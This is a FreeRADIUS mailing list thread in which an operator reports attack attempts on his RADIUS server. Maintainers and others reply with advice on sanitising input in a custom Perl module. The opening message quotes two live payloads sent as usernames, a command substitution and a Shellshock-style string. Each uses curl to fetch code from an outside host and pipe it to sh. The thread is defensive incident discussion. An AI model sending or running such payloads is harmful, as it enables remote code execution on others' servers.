Hi, We had upgraded our infrastructure to FreeRADIUS 2.2.10 due to us receiving a growing number of authentication requests, starting Fri Jun 29 00:48:59 (GMT), which result in FreeRADIUS downloading and executing code. Transmitting the following username results in a custom perl module executing the code: $(/usr/bin/curl v.kernelupgr.com/d/all|sh) We have observed another variant of this, which didn't appear to affect us: () { :;}; /usr/bin/curl v.kernelupgr.com/d/all|sh We've been able to work around the problem by placing the following code near the beginning of our Perl module: if ($RAD_REQUEST{'User-Name'} !~ /^[[:alnum:]._-]+$/) { return RLM_MODULE_NOTFOUND; }; Any suggestions regarding possibly cleaning other attributes which may result in code execution on the following line? &radiusd::radlog(1, "RAD_REQUEST: $_ = $RAD_REQUEST{$_}"); Testing: [davidh@zatjnb01-radius1 ~]# perl -le 'print "u-s_e.r" !~ /^[[:alnum:]._-]+$/ ? "BAD" : "OK"' OK [davidh@zatjnb01-radius1 ~]# perl -le 'print "u\\s_e.r" !~ /^[[:alnum:]._-]+$/ ? "BAD" : "OK"' BAD [davidh@zatjnb01-radius1 ~]# perl -le 'print "u s_e.r" !~ /^[[:alnum:]._-]+$/ ? "BAD" : "OK"' BAD [davidh@zatjnb01-radius1 ~]# perl -le 'print "u\(s_e.r" !~ /^[[:alnum:]._-]+$/ ? "BAD" : "OK"' BAD Regards David Herselman
On 3 Jul 2018, at 12:44, David Herselman via Freeradius-Users <freeradius-users@lists.freeradius.org> wrote:
Any suggestions regarding possibly cleaning other attributes which may result in code execution on the following line?
I'm not a perl expert by any stretch of the imagination, but it sounds like you're using interpolated strings (using double quotes "") with untrusted data, or calling out to a shell script? Could you post a the few lines of your perl script at the point where the shelling out happens? In any case, $(... is not a valid NAI, so you could just drop it in policy (FR3 does: https://github.com/FreeRADIUS/freeradius-server/blob/v3.0.x/raddb/policy.d/f... ) Adam Bishop gpg: E75B 1F92 6407 DFDF 9F1C BF10 C993 2504 6609 D460 jisc.ac.uk Jisc is a registered charity (number 1149740) and a company limited by guarantee which is registered in England under Company No. 5747339, VAT No. GB 197 0632 86. Jisc’s registered office is: One Castlepark, Tower Hill, Bristol, BS2 0JA. T 0203 697 5800. Jisc Services Limited is a wholly owned Jisc subsidiary and a company limited by guarantee which is registered in England under company number 2881024, VAT number GB 197 0632 86. The registered office is: One Castle Park, Tower Hill, Bristol BS2 0JA. T 0203 697 5800.
On Jul 3, 2018, at 7:44 AM, David Herselman via Freeradius-Users <freeradius-users@lists.freeradius.org> wrote:
We had upgraded our infrastructure to FreeRADIUS 2.2.10 due to us receiving a growing number of authentication requests, starting Fri Jun 29 00:48:59 (GMT), which result in FreeRADIUS downloading and executing code.
If you're running an older version of FreeRADIUS, there are known issues.
Transmitting the following username results in a custom perl module executing the code: $(/usr/bin/curl v.kernelupgr.com/d/all|sh)
We have observed another variant of this, which didn't appear to affect us: () { :;}; /usr/bin/curl v.kernelupgr.com/d/all|sh
That's largely not the fault of FreeRADIUS. :( It's hard to use Perl securely.
We've been able to work around the problem by placing the following code near the beginning of our Perl module: if ($RAD_REQUEST{'User-Name'} !~ /^[[:alnum:]._-]+$/) { return RLM_MODULE_NOTFOUND; };
Any suggestions regarding possibly cleaning other attributes which may result in code execution on the following line? &radiusd::radlog(1, "RAD_REQUEST: $_ = $RAD_REQUEST{$_}");
Yeah, as Adam said.. expanding strings with arbitrary input like that is just bad. On top of that, logging ALL of the packet information to radlog is also a terrible idea. That's what the "detail" file is for. I'll put some fixes into v3 which make this harder to exploit. But Perl should really only be used for things Unlang can't do. And then used carefully, too. Alan DeKok.
Alan DeKok wrote:
On Jul 3, 2018, at 7:44 AM, David Herselman via Freeradius-Users <freeradius-users@lists.freeradius.org> wrote:
Transmitting the following username results in a custom perl module executing the code: $(/usr/bin/curl v.kernelupgr.com/d/all|sh)
That's largely not the fault of FreeRADIUS. :( It's hard to use Perl securely.
Nothing in perl expands $(...) to shell commands. That's a shell construct. And, even in the 2.2.x git branch, the radlog XS wrapper just does a direct C call to radlog(level, "rlm_perl: %s", msg)... so it could only hit the shell through something in the 2.2.x radlog implementation (which I find hard to believe involves the shell), or through an error path caused by some exception when trying to run ::radlog. ...or maybe that value is being used by another statement in this custom script and it is not the radlog statement to blame....
Any suggestions regarding possibly cleaning other attributes which may result in code execution on the following line? &radiusd::radlog(1, "RAD_REQUEST: $_ = $RAD_REQUEST{$_}");
Yeah, as Adam said.. expanding strings with arbitrary input like that is just bad.
Yep, always sanitize input to ensure it is within expected parameters. So in answer to that question, I have not seen anyone keeping a survey of values typically found in every radius attribute... most people remove all attributes they are not using and only work with a limited subset.
participants (4)
-
Adam Bishop -
Alan DeKok -
Brian Julin -
David Herselman